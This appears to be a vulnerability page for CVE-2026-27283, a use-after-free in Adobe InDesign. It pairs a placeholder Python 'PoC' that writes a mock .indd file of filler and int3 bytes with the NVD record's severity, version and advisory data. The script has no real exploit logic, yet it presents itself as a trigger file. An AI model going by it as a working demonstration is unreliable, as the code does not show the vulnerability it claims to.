CVE-2026-27283

# Proof of Concept (PoC) Concept for CVE-2026-27283 # Note: Actual exploitation requires specific file format crafting (binary manipulation). # This script demonstrates the concept of triggering the vulnerability via file interaction. import struct def create_malicious_indd(filename): """ Creates a dummy file that simulates the structure required to potentially trigger the UAF. Real exploitation involves precise heap grooming. """ with open(filename, 'wb') as f: # Generic header (Mock) f.write(b'\x06\x06\xED\xF5') # Simulating the object that gets freed f.write(b'A' * 0x100) # Simulating the reallocation/exploit payload # In a real UAF, this area would be controlled by the attacker payload = b'\xCC' * 0x50 # Int3 instructions for demo crash f.write(payload) print(f"[+] Generated potential trigger file: {filename}") print(f"[+] Analysis: Open this file in a vulnerable version of InDesign to observe behavior.") if __name__ == "__main__": create_malicious_indd("cve_2026_27283_poc.indd")

{"cve": {"id": "CVE-2026-27283", "sourceIdentifier": "[email protected]", "published": "2026-04-14T17:16:47.883", "lastModified": "2026-04-16T15:35:29.583", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "InDesign Desktop versions 20.5.2, 21.2 and earlier are affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:indesign:*:*:*:*:*:*:*:*", "versionEndExcluding": "20.5.3", "matchCriteriaId": "5644C156-EB3C-4F24-A9E8-ABB5EA61F2A9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:indesign:*:*:*:*:*:*:*:*", "versionStartIncluding": "21.0", "versionEndExcluding": "21.3", "matchCriteriaId": "C6F7C5A5-F818-4184-81C3-35282D05CBEA"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/indesign/apsb26-32.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}